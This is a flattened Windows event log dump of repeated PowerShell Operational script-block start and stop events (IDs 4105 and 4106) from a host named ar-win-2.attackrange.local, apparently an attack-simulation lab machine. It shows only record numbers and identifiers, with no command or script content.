410615103150x0672107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0672002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0672000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0671946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0671945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 